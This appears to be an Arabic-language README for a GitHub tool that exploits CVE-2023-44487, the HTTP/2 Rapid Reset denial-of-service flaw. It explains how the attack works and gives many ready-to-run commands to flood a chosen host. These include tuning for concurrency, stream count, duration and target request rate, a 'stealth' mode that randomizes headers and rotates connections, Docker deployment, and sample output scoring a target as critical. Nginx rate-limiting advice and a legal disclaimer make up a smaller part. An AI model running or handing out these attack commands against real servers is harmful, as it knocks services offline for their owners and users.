استغلال CVE-2023-44487 لرفض الخدمة HTTP/2 عبر إعادة الضبط السريع
الإصدار الاحترافي v1.0.1 | المؤلف: Sudeepa Wanigarathna
-orange.svg)
جدول المحتويات
نظرة عامة
إطار تقييم بمستوى احترافي لثغرة CVE-2023-44487، وهي ثغرة إعادة الضبط السريع في HTTP/2. تساعد هذه الأداة المتخصصين في الأمن السيبراني على اختبار الأنظمة والتحقق منها ضد أحد أكثر حالات رفض الخدمة HTTP/2 تأثيرًا التي تم الكشف عنها في السنوات الأخيرة.
توضح الأداة كيف يمكن للإنشاء السريع وإعادة الضبط لتدفقات HTTP/2 أن يستنزف موارد الخادم ويؤدي إلى حالات رفض الخدمة (DoS).
أبرز الميزات في لمحة
- محرك هجوم متعدد الاتصالات — اتصالات HTTP/2 متزامنة
- تحكم تكيفي في المعدل — ضبط ديناميكي لتحقيق أقصى فعالية
- وضع التخفي — ترويسات عشوائية وتدوير الاتصالات
- تقارير شاملة — JSON/CSV مع تقييم المخاطر
- دعم Docker — نشر عبر الحاويات
- مراقبة فورية — مقاييس الهجوم والتقدم بشكل مباشر
- تسجيل احترافي — مخرجات وحدة تحكم ملونة مع تسجيل في ملف
| الاستخدام | النتائج |
|---|
 |  |
تفاصيل الثغرة
CVE-2023-44487: هجوم إعادة الضبط السريع HTTP/2
نظرة تقنية عامة
تستغل الثغرة آلية إدارة التدفقات في بروتوكول HTTP/2:
- إنشاء التدفق — يرسل العميل إطار HEADERS لإنشاء تدفق جديد
- إعادة ضبط فورية — يرسل العميل فورًا إطار RST_STREAM
- معالجة الخادم — يجب على الخادم معالجة كلا الإطارين، مما يستهلك الموارد
- استنزاف الموارد — الدورات المتكررة تُرهق موارد الخادم
التأثير
- استنزاف الموارد على خوادم HTTP/2
- رفض خدمة محتمل (DoS)
- يمكن أن يؤثر على موازنات التحميل والخوادم الوسيطة وشبكات توصيل المحتوى (CDN)
- لا يتطلب مصادقة أو صلاحيات خاصة
الميزات
الميزات الأساسية
إمكانيات متقدمة
- دعم البروكسي — إعداد بروكسي قابل للتوسيع
- تجميع الاتصالات — إدارة فعالة للاتصالات
- استرداد الأخطاء — معالجة سلسة لفشل الاتصالات
- ضبط الأداء — إعدادات قابلة للتخصيص لسيناريوهات مختلفة
- التكامل مع CI/CD — مناسب لاختبارات الأمان الآلية
المتطلبات
متطلبات النظام
التبعيات
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
التثبيت
1. التثبيت السريع
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
2. البيئة الافتراضية (موصى بها)
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
3. التثبيت باستخدام Docker
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
4. التثبيت اليدوي
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
بدء سريع
الاستخدام الأساسي
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
اختبار سريع (5 ثوانٍ)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
تقييم كامل (60 ثانية)
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
دليل الاستخدام
خيارات سطر الأوامر
إعداد الهدف
إعداد الهجوم
خيارات متقدمة
التقارير
خيارات الإعداد
استخدم خيارات سطر الأوامر أعلاه لضبط التزامن وحجم التدفقات والمدة والتقارير. يُفضَّل استخدام قيم أقل لـ -c / -s / -d في التحقق الأولي، ثم قم بزيادة الحجم فقط على الأنظمة المصرح لك باختبار ضغطها.
دعم Docker
بناء الصورة
docker build -t cve-2023-44487-exploit .
تشغيل تقييم أساسي
docker run --rm cve-2023-44487-exploit target.com
التشغيل بمعلمات مخصصة
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
حفظ النتائج محليًا
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
الوضع التفاعلي
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
Docker Compose
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
أمثلة
1. تقييم HTTPS أساسي
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
2. تقييم HTTP (بدون SSL)
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
3. تشغيل معملي عالي الأداء
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
4. وضع التخفي
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
5. اختبار تحقق سريع
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
6. إنشاء تقرير CSV
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
7. تخطي التحقق
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
8. اختبار إنتاجي مصرح به
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
فهم النتائج
مقاييس المخرجات
مستويات تقييم المخاطر
نموذج الإخراج
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
التوصيات الأمنية
لمسؤولي الأنظمة
إجراءات فورية
-
تطبيق التصحيحات الأمنية
- التحديث إلى أحدث تطبيقات HTTP/2
- تطبيق التصحيحات الأمنية الخاصة بالمورّد
- تحديث موازنات التحميل والخوادم الوسيطة
-
تطبيق الحد من المعدل
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
-
حدود الاتصالات
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
تحصين الإعدادات
| الإعداد | التوصية |
|---|
| الحد الأقصى للتدفقات المتزامنة | اضبطه على 100–200 لكل اتصال |
| معدل إعادة ضبط التدفقات |
المراقبة
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
إجراءات الأمان الموصى بها
إخلاء المسؤولية القانوني
هام: اقرأ هذا بعناية قبل استخدام هذه الأداة
هذه الأداة مقدمة لاختبارات الأمان المصرح بها والأغراض التعليمية فقط.
شروط الاستخدام
باستخدامك لهذه الأداة، فإنك تقر وتوافق على أن:
- لديك إذن كتابي صريح لاختبار النظام الهدف
- أنت تتفهم المخاطر والتأثير المحتمل لهذا التقييم
- ستمتثل لجميع القوانين واللوائح المعمول بها
- أنت تتحمل المسؤولية الكاملة عن أفعالك
- لن تستخدم هذه الأداة في أنشطة غير مصرح بها
الاستخدامات المحظورة
يجب عدم استخدام هذه الأداة في:
- الاختبارات أو الهجمات غير المصرح بها
- رفض الخدمة ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها
- تعطيل أنظمة الإنتاج دون تصريح
- التسبب في ضرر مالي
- أي أنشطة غير قانونية
بيان المسؤولية
يقدم المؤلف والمساهمون هذه الأداة «كما هي» دون أي ضمان. استخدام هذه الأداة يكون على مسؤوليتك الخاصة. المؤلف غير مسؤول عن أي أضرار أو مشكلات قانونية ناتجة عن استخدام هذه الأداة.
قد ينتهك الاستخدام غير المصرح به لهذه الأداة قوانين تشمل على سبيل المثال لا الحصر:
- قانون الاحتيال وإساءة استخدام الحاسوب (CFAA) — الولايات المتحدة
- قانون إساءة استخدام الحاسوب — المملكة المتحدة
- اللائحة العامة لحماية البيانات (GDPR) — الاتحاد الأوروبي
- القوانين المحلية والوطنية والدولية الأخرى ذات الصلة
المؤلف
Sudeepa Wanigarathna
- باحث أمني ومختبر اختراق
- متخصص في أمن التطبيقات وثغرات البروتوكولات
- GitHub
- LinkedIn
سجل التغييرات
الإصدار 1.0.1 (الحالي)
- إصلاح خطأ السمة
connection_attempts
- تحسين التحقق من SSL/ALPN
- إضافة معالجة المهلات
- تعزيز استرداد الأخطاء
- إضافة علامة
--skip-validation
- تحسين دعم Docker
الإصدار 1.0.0 (الأولي)
- الإصدار الأولي للنسخة الاحترافية
- محرك هجوم متعدد الاتصالات
- تحكم تكيفي في المعدل
- وضع التخفي
- تقارير شاملة
- دعم Docker
الترخيص
هذا المشروع مرخص بموجب رخصة MIT — راجع ملف LICENSE للحصول على التفاصيل.
شكر وتقدير
- فريق بروتوكول HTTP/2
- الباحثون الأمنيون الذين اكتشفوا CVE-2023-44487
- مجتمع المصادر المفتوحة (مشروعا
h2 وaiohttp)
المراجع
الدعم
للمشكلات والأسئلة:
- مشكلات GitHub: تقديم مشكلة
- البريد الإلكتروني: [email protected]
- جهة الاتصال الأمنية: إذا وجدت ثغرة في هذا المشروع، فيرجى الإبلاغ عنها بمسؤولية.
بطاقة مرجعية سريعة
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
تذكير: احصل دائمًا على التصريح المناسب قبل اختبار أي نظام. استخدم هذه الأداة بمسؤولية وأخلاقية.
تتم الصيانة بواسطة Sudeepa Wanigarathna | آخر تحديث: أغسطس 2026